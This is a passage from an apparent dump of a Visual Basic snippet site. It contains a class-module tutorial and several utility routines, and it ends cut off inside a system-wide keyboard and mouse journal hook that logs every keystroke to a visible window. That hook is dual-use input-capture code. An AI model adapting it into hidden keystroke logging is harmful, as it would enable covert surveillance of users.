<tr>\n <td width=\"33%\">cmdClear</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Clear</td>\n </tr>\n <tr>\n <td width=\"33%\">cmdExit</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Exit</td>\n </tr>\n</table>\n<img border=\"0\" src=\"http://www.geocities.com/jerry_m_barnes/images/cmt01.jpg\" width=\"335\" height=\"315\">\nThe form should be similar to this when you are finished.\n4.┬á Right Click on Project1 in the Project window.┬á\nSelect Add from the menu.┬á Select Class Module.┬á Select Class Module\nagain.\n5.┬á Right Click on the Class Module in the Project\nWindow.┬á Change the name property to ReplaceChar.┬á This will be the\nname of the object.\n6.┬á Declare the following variables and events.\n<blockquote>\n Option Explicit \n \n Private mToBeReplaced As String * 1 \n \n Private mReplaceWith As String * 1 \n \n Private mCount As Integer \n \n Public Event NoSubstitute(strString As String)\n Notice that the variables are private and the the event is\n public.┬á The variables actually hold values for the properties.┬á\n Since they are private, the program itself cannot manipulate them.┬á Only\n the module can change them.┬á Two of the strings are limited to 1\n character in length.\n</blockquote>\n7.┬á Go to the Tool menu and select Add Procedure.┬á\nType the name of the property (ToBeReplaced) and select property option.┬á The scope\nshould be public for this property. Click OK. This will create two subs. One to\nsend data to the main project (Get) and one to receive data (Let).┬á You\nwill have to change the parameters to the variable types listed below.\n8.┬á Enter the following code for the two properties.┬á\nThe ToBeReplaced property hold the value of the character that will be replaced.\n<blockquote>\n Public Property Get ToBeReplaced() As String \n ┬á┬á┬á ToBeReplaced = mToBeReplaced \n End Property\n \n Get is used to send information from the object to the program.┬á The\n program is getting information.┬á Notice, the properties equal the\n variable declared in the declartions section.\n Public Property Let ToBeReplaced(ByVal strChoice As String) \n ┬á┬á┬á mToBeReplaced = strChoice \n End Property┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n Let is used to retrieve value from the program.┬á The\n program lets the module have information.┬á\n</blockquote>\n9.┬á Repeat the above the process for the ReplaceWith\nProperty.┬á The ReplaceWith property holds the value to replace the desired\ncharacter with.\n<blockquote>\n Public Property Get ReplaceWith() As String \n ┬á┬á┬á ReplaceWith = mReplaceWith \n End Property \n \n Public Property Let ReplaceWith(ByVal strChoice As String) \n ┬á┬á┬á mReplaceWith = strChoice \n End Property\n</blockquote>\n10.┬á Finally, add the Count Property.┬á It will be read\nonly so it does not have a let property.┬á The count property will return to\nthe program the number of substitutions made.\n<blockquote>\n Public Property Get Count() As Integer \n ┬á┬á┬á Count = mCount \n End Property\n</blockquote>\n11.┬á Now, we are going to add a method to the class\nmodule.┬á Methods can consist of funtions or procedures.┬á This method\nscans the string and makes the replacements.┬á It also raises an\nevent.┬á Look toward the bottom of the code.┬á If no replacements are\nmade, an event is raised.┬á This will be used in the form's code.┬á\nEnter the following code.\n<blockquote>\n Public Function ReplaceChar(strString As String) As String \n ┬á┬á┬á Dim intLoop As Integer \n ┬á┬á┬á Dim intLen As Integer \n \n ┬á┬á┬á Dim strTemp As String \n ┬á┬á┬á Dim strTest As String \n ┬á┬á┬á Dim strHold As String \n \n ┬á┬á┬á mCount = 0 \n ┬á┬á┬á 'The replacement count should be zero. \n \n ┬á┬á┬á '####################################### \n ┬á┬á┬á '# The following code scans the string┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '# and makes the desired replacements.┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '####################################### \n ┬á┬á┬á intLoop = 1 \n ┬á┬á┬á strTemp = \"\" \n ┬á┬á┬á strHold = strString \n ┬á┬á┬á intLen = Len(strString) + 1 \n ┬á┬á┬á Do Until intLoop = intLen \n ┬á┬á┬á┬á┬á┬á┬á intLoop = intLoop + 1 \n ┬á┬á┬á┬á┬á┬á┬á strTest = Left(strHold, 1) \n ┬á┬á┬á┬á┬á┬á┬á If strTest = mToBeReplaced Then \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á 'mTobeReplaced comes\n from the properties. \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp & mReplaceWith \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á 'mReplaceWith comes from\n the properties. \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á mCount = mCount + 1 \n ┬á┬á┬á┬á┬á┬á┬á Else \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp & Left(strHold, 1) \n ┬á┬á┬á┬á┬á┬á┬á End If \n ┬á┬á┬á┬á┬á┬á┬á strHold = Right(strHold, Len(strHold) - 1) \n ┬á┬á┬á Loop \n ┬á┬á┬á '####################################### \n ┬á┬á┬á '# Scanning and replacement code ends.┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '####################################### \n \n ┬á┬á┬á If mCount <> 0 Then \n ┬á┬á┬á┬á┬á┬á┬á ReplaceChar = strTemp \n ┬á┬á┬á┬á┬á┬á┬á 'Write the new string. \n ┬á┬á┬á Else \n ┬á┬á┬á┬á┬á┬á┬á RaiseEvent NoSubstitute(strTemp) \n ┬á┬á┬á End If \n ┬á┬á┬á 'If mCount is zero the no replacements \n ┬á┬á┬á 'were made. This means that we want to \n ┬á┬á┬á 'raise the event NoSubstitute. \n \n End Function\n</blockquote>\n12.┬á Provide everything was entered correctly, the class\nmodule is fully functional now.┬á Save it and go back to the form.\n13.┬á Enter the following declaration.┬á This declares a\nvariable as a type of the created object.\n<blockquote>\n Option Explicit \n Dim WithEvents ReplacementString As ReplaceChar\n Note that WithEvents is not required.┬á However, it is\n necessary if you want to use events.\n</blockquote>\n14.┬á Enter the code for the cmdReplace_Click Event.┬á\nYou have to create a new instance of the object first.┬á Next, set the\nproperties ToBeReplaced and ReplaceWith.┬á Next call the ReplaceChar\nmethod.┬á Finally use the Count property to get the number of replacements.\n<blockquote>\n Private Sub cmdReplace_Click() \n \n ┬á┬á┬á Set ReplacementString = New ReplaceChar \n ┬á┬á┬á 'Create a new object of the class that \n ┬á┬á┬á 'was created. \n \n ┬á┬á┬á ReplacementString.ToBeReplaced = txtChar.Text \n ┬á┬á┬á 'Send the property ToBeReplaced. This \n ┬á┬á┬á 'is a Let sub in the module. \n \n ┬á┬á┬á ReplacementString.ReplaceWith = txtReplacement.Text \n ┬á┬á┬á 'Send the property ReplaceWith. This \n ┬á┬á┬á 'is a Let sub in the module. \n \n ┬á┬á┬á lblResult.Caption = ReplacementString.ReplaceChar(txtString.Text) \n ┬á┬á┬á 'Set the caption of lblResult with the \n ┬á┬á┬á 'results of the Replace method. \n \n ┬á┬á┬á lblCount.Caption = ReplacementString.Count \n ┬á┬á┬á 'Get the count through the count property. \n ┬á┬á┬á 'This is a Get sub in the module. \n End Sub \n \n</blockquote>\n15.┬á Program the event procedure for the class\nmodule.┬á The event fires if no replacements were made.┬á You can code\nwhatever actions want to transpire when the event happens.┬á I used a\nmessage box to alert the user that no changes were made.\n<blockquote>\n Private Sub Replacementstring_NoSubstitute(strString As String) \n 'This subs only purpose is to demonstrate using an event. StrString is passed \n 'from the module back to the program. \n \n ┬á┬á┬á MsgBox \"No substitutions were made in \" & strString, vbOKOnly, \"Warning\" \n End Sub\n</blockquote>\n16.┬á Enter code for the final two command buttons.\n<blockquote>\n Private Sub cmdClear_Click() \n \n ┬á┬á┬á Set ReplacementString = Nothing \n ┬á┬á┬á 'Destroy the object so resources \n ┬á┬á┬á 'are not wasted. \n \n ┬á┬á┬á lblResult.Caption = \"\" \n ┬á┬á┬á lblCount.Caption = \"\" \n ┬á┬á┬á txtChar.Text = \"\" \n ┬á┬á┬á txtReplacement.Text = \"\" \n ┬á┬á┬á txtString.Text = \"\" \n ┬á┬á┬á 'Clear the controls. \n \n ┬á┬á┬á txtString.SetFocus \n ┬á┬á┬á 'Return to the first text box. \n End Sub \n \n Private Sub cmdExit_Click() \n \n ┬á┬á┬á Set ReplacementString = Nothing \n ┬á┬á┬á 'Tidy up. Don't waste resources. \n \n ┬á┬á┬á End \n End Sub\n</blockquote>\n17.┬á That's it.┬á The program should run.┬á The\nmodule can be inserted in other programs now.┬á It does not have to be used\nwith text box or labels.┬á It can be used purely in code.┬á For example.\n<blockquote>\n Dim WithEvents RepStr As ReplaceChar\n Set RepStr = New ReplaceChar\n RepStr.ToBeReplace = \" \"\n RepStr.ReplaceWith = \"_\"\n strString = RepStr.ReplaceChar(strString)\n if RepStr.Count = 0 then┬á\n ┬á┬á┬á msgbox \"No subs made\"\n End if\n</blockquote>\nThis would replace all space in a string with an\nunderscore.┬á Pretty useful.\n┬á\n If you have any suggestions, please feel free to contact me at\njerry_m_barnes@hotmail.com.\n</body>\n</html>\n"},{"WorldId":1,"id":9652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9655,"LineNumber":1,"line":"Private Sub CommandButton1_Click()\n Call DirMap(\"C:\\Windows\\\")\n 'Must have \"\\\" at the end of the path\nEnd Sub\nSub DirMap(ByVal Path As String)\nOn Error Resume Next\n Dim i, j, x As Integer 'All used as counters\n Dim Fname(), CurrentFolder, Temp As String\n Temp = Path\n If Dir(Temp, vbDirectory) = \"\" Then Exit Sub 'if there arent any sub directories the exit\n CurrentFolder = Dir(Temp, vbDirectory)\n 'First get number of folders (Stored in i)\n Do While CurrentFolder <> \"\"\n If GetAttr(Temp & CurrentFolder) = vbDirectory Then\n If CurrentFolder <> \".\" And CurrentFolder <> \"..\" Then\n i = i + 1\n End If\n End If\n CurrentFolder = Dir\n Loop\n ReDim Fname(i) 'Redim the array with number of folders\n 'now store the folder names\n CurrentFolder = Dir(Temp, vbDirectory)\n Do While CurrentFolder <> \"\"\n If GetAttr(Temp & CurrentFolder) = vbDirectory Then\n If CurrentFolder <> \".\" And CurrentFolder <> \"..\" Then\n j = j + 1\n Fname(j) = CurrentFolder\n Debug.Print Temp & Fname(j)\n End If\n End If\n CurrentFolder = Dir\n Loop\n ' For each folder check to see there are sub folders\n For x = 1 To i\n Call DirMap(Temp & Fname(x) & \"\\\")\n Next\nEnd Sub"},{"WorldId":1,"id":9656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9659,"LineNumber":1,"line":"webbrowser1.ExecWB OLECMDID_SAVEAS, OLECMDEXECOPT_PROMPTUSER"},{"WorldId":1,"id":9662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9679,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'~~~ SUBJECT: HTML Help Launcher\n'~~~ AUTHOR: Neil Ault (Neil.Ault@btinternet.com)\n'~~~ CREATED: 11/07/2000\n'~~~\n'~~~ DESCRIPTION: Allows you to launch the new compiled HTML help\n'~~~ files (.chm) within your visual basic apps. You\n'~~~ need to have the file hhctrl.ocx installed on\n'~~~ your machine which normally comes with Internet\n'~~~ Explorer.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\nPrivate Declare Function HtmlHelp Lib \"hhctrl.ocx\" Alias \"HtmlHelpA\" (ByVal hwndCaller As Long, ByVal pszFile As String, ByVal uCommand As Long, ByVal dwData As Long) As Long\n'Constants used by HtmlHelp\nConst HH_DISPLAY_TOPIC = &H0\nConst HH_SET_WIN_TYPE = &H4\nConst HH_GET_WIN_TYPE = &H5\nConst HH_GET_WIN_HANDLE = &H6\nConst HH_DISPLAY_TEXT_POPUP = &HE 'Display string resource ID or text in a pop-up window.\nConst HH_HELP_CONTEXT = &HF 'Display mapped numeric value in dwData.\nConst HH_TP_HELP_CONTEXTMENU = &H10 'Text pop-up help, similar to WinHelp's HELP_CONTEXTMENU.\nConst HH_TP_HELP_WM_HELP = &H11 'Text pop-up help, similar to WinHelp 's HELP_WM_HELP.\n'Opens the compiled help file\nPrivate Sub ShowHelpFile(strFilename As String)\nDim hwndHelp As Long\n 'The return value is the window handle of the created help window.\n hwndHelp = HtmlHelp(hWnd, strFilename, HH_DISPLAY_TOPIC, 0)\nEnd Sub\n"},{"WorldId":1,"id":9684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9692,"LineNumber":1,"line":"Public Function DecimalToBinary(sValue As String) As String\nDim i As Integer\nConst sTable As String = \"0000,0001,0010,0011,0100,0101,0110,0111,1000,1001,1010,1011,1100,1101,1110,1111\"\nDim asBinTable() As String\nDim sHexValue As String\n If Len(sValue) > 9 Then\n ' the HEX Function cannot handle larger numbers\n Exit Function\n End If\n DecimalToBinary = \"\"\n \n ' Set up the Binary Table\n asBinTable = Split(sTable, \",\")\n sHexValue = Hex(Val(sValue))\n \n For i = 1 To Len(sHexValue)\n DecimalToBinary = DecimalToBinary & asBinTable(Val(\"&H\" & Mid$(sHexValue, i, 1)))\n Next\n \nEnd Function\nPublic Function BinaryToDecimal(sBinary As String) As String\nDim i As Integer\n BinaryToDecimal = 0\n If Len(sBinary) > 49 Then\n ' Binary numbers larger than 49 bits\n ' Will return an Error E+\n Exit Function\n End If\n For i = 0 To Len(sBinary) - 1\n If Mid$(sBinary, Len(sBinary) - i, 1) Then\n BinaryToDecimal = BinaryToDecimal + 2 ^ i\n End If\n Next\nEnd Function"},{"WorldId":1,"id":9703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9711,"LineNumber":1,"line":"Public Function GetFileType(xFile As String) As String\nOn Error Resume Next\nDim ID As String * 300\nIf Dir$(xFile) = \"\" Then\n GetFileType = \"NOT FOUND\"\n Exit Function\nEnd If\nOpen xFile For Binary Access Read As #1\n Get #1, 1, ID\nClose #1\nIf Left(ID, 2) = \"MZ\" Or Left(ID, 2) = \"ZM\" Then\n GetFileType = \"PE Executable\"\n Exit Function\nElseIf Left(ID, 1) = \"[\" And InStr(1, Left(ID, 100), \"]\") > 0 Then\n GetFileType = \"INI File\"\n Exit Function\nElseIf Mid(ID, 9, 8) = \"AVI LIST\" Then\n GetFileType = \"AVI Movie File\"\n Exit Function\nElseIf Left(ID, 4) = \"RIFF\" Then\n GetFileType = \"WAV Audio File\"\n Exit Function\nElseIf Left(ID, 4) = Chr(208) & Chr(207) & Chr(17) & Chr(224) Then\n GetFileType = \"Microsoft Word Document\"\n Exit Function\nElseIf Mid(ID, 5, 15) = \"Standard Jet DB\" Then\n GetFileType = \"Microsoft Access Database\"\n Exit Function\nElseIf Left(ID, 3) = \"GIF\" Or InStr(1, ID, \"GIF89\") > 0 Then\n GetFileType = \"GIF Image File\"\n Exit Function\nElseIf Left(ID, 1) = Chr(255) And Mid(ID, 5, 1) = Chr(0) Then\n GetFileType = \"MP3 Audio File\"\n Exit Function\nElseIf Left(ID, 2) = \"BM\" Then\n GetFileType = \"BMP (Bitmap) Image File\"\n Exit Function\nElseIf Left(ID, 3) = \"II*\" Then\n GetFileType = \"TIFF Image File\"\n Exit Function\nElseIf Left(ID, 2) = \"PK\" Then\n GetFileType = \"ZIP Archive File\"\n Exit Function\nElseIf InStr(1, LCase(ID), \"<html>\") > 0 Or InStr(1, LCase(ID), \"<!doctype\") > 0 Then\n GetFileType = \"HTML Document File\"\n Exit Function\nElseIf UCase(Left(ID, 3)) = \"RAR\" Then\n GetFileType = \"RAR Archive File\"\n Exit Function\nElseIf Left(ID, 2) = Chr(96) & Chr(234) Then\n GetFileType = \"ARJ Archive File\"\n Exit Function\nElseIf Left(ID, 3) = Chr(255) & Chr(216) & Chr(255) Then\n GetFileType = \"JPEG Image File\"\n Exit Function\nElseIf InStr(1, ID, \"Type=\") > 0 And InStr(1, ID, \"Reference=\") > 0 Then\n GetFileType = \"Visual Basic Project File\"\n Exit Function\nElseIf Left(ID, 8) = \"VBGROUP \" Then\n GetFileType = \"Visual Basic Group Project File\"\n Exit Function\nElseIf Left(ID, 8) = \"VERSION \" & InStr(1, ID, vbCrLf & \"Begin\") > 0 Then\n GetFileType = \"Visual Basic Form File\"\n Exit Function\nElse\n 'Unknown file... make a weak attempt to determine if the file is text or binary\n If InStr(1, ID, Chr$(255)) > 0 Or InStr(1, ID, Chr$(1)) > 0 Or InStr(1, ID, Chr$(2)) > 0 Or InStr(1, ID, Chr$(3)) > 0 Then\n GetFileType = \"Unknown binary file\"\n Else\n GetFileType = \"Unknown text file\"\n End If\n Exit Function\nEnd If\nEnd Function\n"},{"WorldId":1,"id":9715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9719,"LineNumber":1,"line":"' Enumerations:\nPrivate Enum BeforeOrAfter\n Before\n After\nEnd Enum\n' ********** Procedure: Convert Milliseconds To Time **********\nPublic Function ConvertMillisecondsToTime(Milliseconds As Long, Optional IncludeHours As Boolean) As String\n ' Converts a number of Milliseconds to a time (HH:MM:SS:HH)\n \n Dim CurrentHSecs As Double, HSecs As Long, Mins As Long, Secs As Long, Hours As Double\n CurrentHSecs = Int((Milliseconds / 10) + 0.5)\n If IncludeHours Then\n Hours = Int(CurrentHSecs / 360000)\n CurrentHSecs = CurrentHSecs - (Hours * 360000)\n End If\n Mins = Int(CurrentHSecs / 6000)\n CurrentHSecs = CurrentHSecs - (Mins * 6000)\n Secs = Int((CurrentHSecs) / 100)\n CurrentHSecs = CurrentHSecs - (Secs * 100)\n HSecs = CurrentHSecs\n ConvertMillisecondsToTime = FixLength(Mins, 2) & \":\" & FixLength(Secs, 2) & \":\" & FixLength(HSecs, 2)\n If IncludeHours Then\n ConvertMillisecondsToTime = FixLength(Hours, 2) & \":\" & ConvertMillisecondsToTime\n End If\nEnd Function\n' ********** Additional Subs/Functions Required **********\nPrivate Function FixLength(Number As Variant, Length As Integer, Optional CharacterPosition As BeforeOrAfter = Before, Optional Character As String = \"0\") As String\n ' Inserts \"0\"'s before a number to make it a certain length\n Dim i As Integer, StrNum As String\n \n StrNum = CStr(Number)\n FixLength = StrNum\n For i = Len(StrNum) To Length - 1\n If CharacterPosition = Before Then\n FixLength = Character & FixLength\n Else\n FixLength = FixLength & Character\n End If\n Next i\nEnd Function"},{"WorldId":1,"id":9722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9731,"LineNumber":1,"line":"Option Explicit\nPrivate Const BIF_RETURNONLYFSDIRS = 1\nPrivate Const BIF_DONTGOBELOWDOMAIN = 2\nPrivate Const MAX_PATH = 260\nPrivate Declare Function SHBrowseForFolder Lib \"shell32\" _\n (lpbi As BrowseInfo) As Long\nPrivate Declare Function SHGetPathFromIDList Lib \"shell32\" _\n (ByVal pidList As Long, _\n ByVal lpBuffer As String) As Long\nPrivate Declare Function lstrcat Lib \"kernel32\" Alias \"lstrcatA\" _\n (ByVal lpString1 As String, ByVal _\n lpString2 As String) As Long\nPrivate Type BrowseInfo\n hWndOwner As Long\n pIDLRoot As Long\n pszDisplayName As Long\n lpszTitle As Long\n ulFlags As Long\n lpfnCallback As Long\n lParam As Long\n iImage As Long\nEnd Type\n\nFriend Function GetFolderName() As String\n'Opens a Treeview control that displays the directories in a computer\n Dim lpIDList As Long\n Dim sBuffer As String\n Dim szTitle As String\n Dim tBrowseInfo As BrowseInfo\n szTitle = \"This is the title\"\n With tBrowseInfo\n .hWndOwner = 0 'Me.hwnd\n .lpszTitle = lstrcat(szTitle, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN\n End With\n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If (lpIDList) Then\n sBuffer = Space(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n End If\n \n GetFolderName = sBuffer\nEnd Function\n"},{"WorldId":1,"id":9736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9758,"LineNumber":1,"line":"'---Bas module code---\nOption Explicit\nPublic Enum HookFlags\n HFMouseDown = 1\n HFMouseUp = 2\n HFMouseMove = 4\n HFKeyDown = 8\n HFKeyUp = 16\nEnd Enum\nPrivate Declare Function SetWindowsHookEx Lib \"user32\" Alias \"SetWindowsHookExA\" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long\nPrivate Declare Function CallNextHookEx Lib \"user32\" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Declare Function UnhookWindowsHookEx Lib \"user32\" (ByVal hHook As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)\nPrivate Declare Function GetAsyncKeyState% Lib \"user32\" (ByVal vKey As Long)\nPrivate Declare Function GetForegroundWindow& Lib \"user32\" ()\nPrivate Declare Function GetWindowThreadProcessId& Lib \"user32\" (ByVal hwnd As Long, lpdwProcessId As Long)\nPrivate Declare Function GetKeyboardLayout& Lib \"user32\" (ByVal dwLayout As Long)\nPrivate Declare Function MapVirtualKeyEx Lib \"user32\" Alias \"MapVirtualKeyExA\" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long\nPrivate Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nPrivate Const SWP_NOSIZE = &H1\nPrivate Const SWP_NOMOVE = &H2\nPrivate Const SWP_NOREDRAW = &H8\nPrivate Const WM_KEYDOWN = &H100\nPrivate Const WM_KEYUP = &H101\nPrivate Const WM_MOUSEMOVE = &H200\nPrivate Const WM_LBUTTONDOWN = &H201\nPrivate Const WM_LBUTTONUP = &H202\nPrivate Const WM_LBUTTONDBLCLK = &H203\nPrivate Const WM_RBUTTONDOWN = &H204\nPrivate Const WM_RBUTTONUP = &H205\nPrivate Const WM_RBUTTONDBLCLK = &H206\nPrivate Const WM_MBUTTONDOWN = &H207\nPrivate Const WM_MBUTTONUP = &H208\nPrivate Const WM_MBUTTONDBLCLK = &H209\nPrivate Const WM_MOUSEWHEEL = &H20A\nPrivate Const WH_JOURNALRECORD = 0\nType EVENTMSG\n wMsg As Long\n lParamLow As Long\n lParamHigh As Long\n' msgTime As Long\n' hWndMsg As Long\nEnd Type\nDim EMSG As EVENTMSG\nDim hHook As Long, frmHooked As Form, hFlags As Long\nPublic Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n If nCode < 0 Then\n HookProc = CallNextHookEx(hHook, nCode, wParam, lParam)\n Exit Function\n End If\n Dim i%, j%, k%\n CopyMemory EMSG, ByVal lParam, Len(EMSG)\n Select Case EMSG.wMsg\n Case WM_KEYDOWN\n If (hFlags And HFKeyDown) = HFKeyDown Then\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n Select Case (EMSG.lParamLow And &HFF)\n Case 0 To 31, 90 To 159\n k = (EMSG.lParamLow And &HFF)\n Case Else\n k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))\n End Select\n frmHooked.System_KeyDown k, j\n End If\n Case WM_KEYUP\n If (hFlags And HFKeyUp) = HFKeyUp Then\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n Select Case (EMSG.lParamLow And &HFF)\n Case 0 To 31, 90 To 159\n k = (EMSG.lParamLow And &HFF)\n Case Else\n k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))\n End Select\n frmHooked.System_KeyUp k, j\n End If\n Case WM_MOUSEWHEEL\n Debug.Print \"MouseWheel\"\n Case WM_MOUSEMOVE\n If (hFlags And HFMouseMove) = HFMouseMove Then\n If GetAsyncKeyState(vbKeyLButton) Then i = 1\n If GetAsyncKeyState(vbKeyRButton) Then i = 2\n If GetAsyncKeyState(vbKeyMButton) Then i = 4\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n frmHooked.System_MouseMove i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN\n If (hFlags And HFMouseDown) = HFMouseDown Then\n If GetAsyncKeyState(vbKeyShift) Then i = 1\n If GetAsyncKeyState(vbKeyControl) Then i = 2\n If GetAsyncKeyState(vbKeyMenu) Then i = 4\n frmHooked.System_MouseDown 2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP\n If (hFlags And HFMouseUp) = HFMouseUp Then\n If GetAsyncKeyState(vbKeyShift) Then i = 1\n If GetAsyncKeyState(vbKeyControl) Then i = 2\n If GetAsyncKeyState(vbKeyMenu) Then i = 4\n frmHooked.System_MouseUp 2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n End Select\n Call CallNextHookEx(hHook, nCode, wParam, lParam)\nEnd Function\nPublic Sub SetHook(fOwner As Form, flags As HookFlags)\n hHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf HookProc, 0, 0)\n Set frmHooked = fOwner\n hFlags = flags\n Window_SetAlwaysOnTop frmHooked.hwnd, True\nEnd Sub\nPublic Sub RemoveHook()\n UnhookWindowsHookEx hHook\n Window_SetAlwaysOnTop frmHooked.hwnd, False\n Set frmHooked = Nothing\nEnd Sub\nPrivate Function Window_SetAlwaysOnTop(hwnd As Long, bAlwaysOnTop As Boolean) As Boolean\n Window_SetAlwaysOnTop = SetWindowPos(hwnd, -2 - bAlwaysOnTop, 0, 0, 0, 0, SWP_NOREDRAW Or SWP_NOSIZE Or SWP_NOMOVE)\nEnd Function\n'---End of bas module code---\n'--------------------------------------------\n'---Form code---\n'Add two multiline TextBoxes (better with vertical scrollbar) and one Label at form\nPrivate Sub Form_Load()\n SetHook Me, HFMouseDown + HFMouseUp + HFMouseMove + HFKeyDown + HFKeyUp\n Text1 = \"Mouse activity log:\"\n Text2 = \"Keyboard activity log:\"\nEnd Sub\nPublic Sub System_KeyDown(KeyCode As Integer, Shift As Integer)\n Dim s As String\n Select Case KeyCode\n Case 32 To 90, 160 To 255\n s = LCase(Chr$(KeyCode))\n Case Else\n s = \"ASCII code \" & KeyCode\n End Select\n If Shift = vbShiftMask Then s = UCase(s): s = s & \" + Shift \"\n If Shift = vbCtrlMask Then s = s & \" + Ctrl \"\n If Shift = vbAltMask Then s = s & \" + Alt \"\n Text2 = Text2 & vbCrLf & s & \" down\"\nEnd Sub\nPublic Sub System_KeyUp(KeyCode As Integer, Shift As Integer)\n Dim s As String\n Select Case KeyCode\n Case 32 To 90, 160 To 255\n s = LCase(Chr$(KeyCode))\n Case Else\n s = \"ASCII code \" & KeyCode\n End Select\n If Shift = vbShiftMask Then s = UCase(s): s = s & \" + Shift \"\n If Shift = vbCtrlMask Then s = s & \" + Ctrl \"\n If Shift = vbAltMask Then s = s & \" + Alt \"\n Text2 = Text2 & vbCrLf & s & \" up\"\nEnd Sub\nPublic Sub System_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = \"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Text1 = Text1 & vbCrLf & s & \"Down at pos (pixels): \" & CStr(x) & \" , \" & CStr(y)\nEnd Sub\nPublic Sub System_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = \"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Text1 = Text1 & vbCrLf & s & \"Up at pos (pixels): \" & CStr(x) & \" , \" & CStr(y)\nEnd Sub\nPublic Sub System_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = 